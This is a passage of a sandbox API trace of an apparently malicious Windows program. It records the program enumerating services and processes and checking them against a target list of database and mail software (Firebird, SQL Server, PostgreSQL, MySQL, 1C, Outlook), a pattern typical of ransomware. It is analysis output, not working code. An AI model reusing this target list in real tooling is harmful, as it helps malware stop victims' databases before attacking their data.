(lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0161.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0161.532] lstrlenW (lpString="MpsSvc") returned 6 [0161.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0161.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0161.532] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0161.532] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0161.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0161.532] lstrlenW (lpString="Netman") returned 6 [0161.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0161.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0161.532] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0161.532] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0161.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0161.532] lstrlenW (lpString="netprofm") returned 8 [0161.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0161.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0161.532] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0161.532] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0161.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0161.533] lstrlenW (lpString="NlaSvc") returned 6 [0161.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0161.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0161.533] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0161.533] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0161.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0161.533] lstrlenW (lpString="nsi") returned 3 [0161.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0161.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0161.533] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0161.533] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0161.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0161.533] lstrlenW (lpString="PcaSvc") returned 6 [0161.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0161.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0161.533] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0161.533] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0161.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0161.533] lstrlenW (lpString="PlugPlay") returned 8 [0161.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0161.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0161.533] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0161.533] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0161.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0161.533] lstrlenW (lpString="Power") returned 5 [0161.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0161.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0161.533] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0161.533] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0161.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0161.533] lstrlenW (lpString="ProfSvc") returned 7 [0161.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0161.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0161.534] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0161.534] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0161.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0161.534] lstrlenW (lpString="RpcEptMapper") returned 12 [0161.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0161.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0161.534] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0161.534] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0161.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0161.534] lstrlenW (lpString="RpcSs") returned 5 [0161.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0161.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0161.534] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0161.534] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0161.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0161.534] lstrlenW (lpString="SamSs") returned 5 [0161.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0161.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0161.534] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0161.534] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0161.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0161.534] lstrlenW (lpString="Schedule") returned 8 [0161.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0161.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0161.534] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0161.534] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0161.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0161.535] lstrlenW (lpString="SENS") returned 4 [0161.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0161.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0161.535] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0161.535] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0161.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0161.535] lstrlenW (lpString="ShellHWDetection") returned 16 [0161.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0161.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0161.535] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0161.535] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0161.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0161.535] lstrlenW (lpString="Spooler") returned 7 [0161.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0161.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0161.535] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0161.535] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0161.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0161.535] lstrlenW (lpString="SysMain") returned 7 [0161.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0161.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0161.535] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0161.535] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0161.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0161.535] lstrlenW (lpString="Themes") returned 6 [0161.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0161.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0161.535] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0161.535] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0161.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0161.536] lstrlenW (lpString="TrkWks") returned 6 [0161.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0161.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0161.536] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0161.536] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0161.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0161.536] lstrlenW (lpString="UxSms") returned 5 [0161.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0161.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0161.536] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0161.536] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0161.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0161.536] lstrlenW (lpString="WdiServiceHost") returned 14 [0161.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0161.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0161.536] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0161.536] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0161.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0161.536] lstrlenW (lpString="WdiSystemHost") returned 13 [0161.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0161.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0161.536] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0161.536] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0161.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0161.536] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0161.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0161.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0161.536] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0161.536] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0161.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0161.536] lstrlenW (lpString="Winmgmt") returned 7 [0161.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0161.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0161.537] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0161.537] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0161.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0161.537] lstrlenW (lpString="WPDBusEnum") returned 10 [0161.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0161.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0161.537] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0161.537] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0161.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0161.537] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x42d70a0 | out: hHeap=0x630000) returned 1 [0161.537] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2e0 [0161.539] Process32FirstW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.539] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0161.539] lstrlenW (lpString="System") returned 6 [0161.539] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0161.539] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0161.539] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0161.539] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0161.539] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0161.539] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0161.539] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0161.539] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0161.540] lstrlenW (lpString="smss.exe") returned 8 [0161.540] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0161.540] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0161.540] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0161.540] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0161.540] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0161.540] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0161.540] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0161.540] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0161.540] lstrlenW (lpString="csrss.exe") returned 9 [0161.540] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0161.540] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0161.540] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0161.540] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0161.540] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0161.541] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0161.541] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0161.541] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0161.541] lstrlenW (lpString="wininit.exe") returned 11 [0161.541] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0161.541] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0161.541] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0161.541] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0161.541] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0161.541] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0161.541] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0161.541] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0161.541] lstrlenW (lpString="csrss.exe") returned 9 [0161.541] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0161.541] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0161.542] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0161.542] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0161.542] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0161.542] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0161.542] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0161.542] lstrlenW (lpString="winlogon.exe") returned 12 [0161.542] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0161.542] lstrlenW (lpString="services.exe") returned 12 [0161.542] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0161.543] lstrlenW (lpString="lsass.exe") returned 9 [0161.543] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0161.543] lstrlenW (lpString="lsm.exe") returned 7 [0161.543] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.543] lstrlenW (lpString="svchost.exe") returned 11 [0161.543] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.544] lstrlenW (lpString="svchost.exe") returned 11 [0161.544] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.544] lstrlenW (lpString="svchost.exe") returned 11 [0161.544] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.544] lstrlenW (lpString="svchost.exe") returned 11 [0161.545] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.545] lstrlenW (lpString="svchost.exe") returned 11 [0161.545] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0161.545] lstrlenW (lpString="audiodg.exe") returned 11 [0161.545] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.546] lstrlenW (lpString="svchost.exe") returned 11 [0161.546] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0161.546] lstrlenW (lpString="explorer.exe") returned 12 [0161.546] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0161.546] lstrlenW (lpString="dwm.exe") returned 7 [0161.546] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.547] lstrlenW (lpString="svchost.exe") returned 11 [0161.547] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0161.547] lstrlenW (lpString="n.exe") returned 5 [0161.547] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0161.547] lstrlenW (lpString="spoolsv.exe") returned 11 [0161.547] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.548] lstrlenW (lpString="svchost.exe") returned 11 [0161.548] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0161.548] lstrlenW (lpString="taskhost.exe") returned 12 [0161.548] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0161.548] lstrlenW (lpString="reader_sl.exe") returned 13 [0161.548] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0161.549] lstrlenW (lpString="n.exe") returned 5 [0161.549] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0161.549] lstrlenW (lpString="dllhost.exe") returned 11 [0161.549] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0161.549] lstrlenW (lpString="dllhost.exe") returned 11 [0161.549] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0161.550] lstrlenW (lpString="n.exe") returned 5 [0161.550] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0161.550] CloseHandle (hObject=0x2e0) returned 1 [0161.550] Sleep (dwMilliseconds=0x1f4) [0162.178] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7263e0 [0162.214] EnumServicesStatusExW (in: hSCManager=0x7263e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0162.216] GetLastError () returned 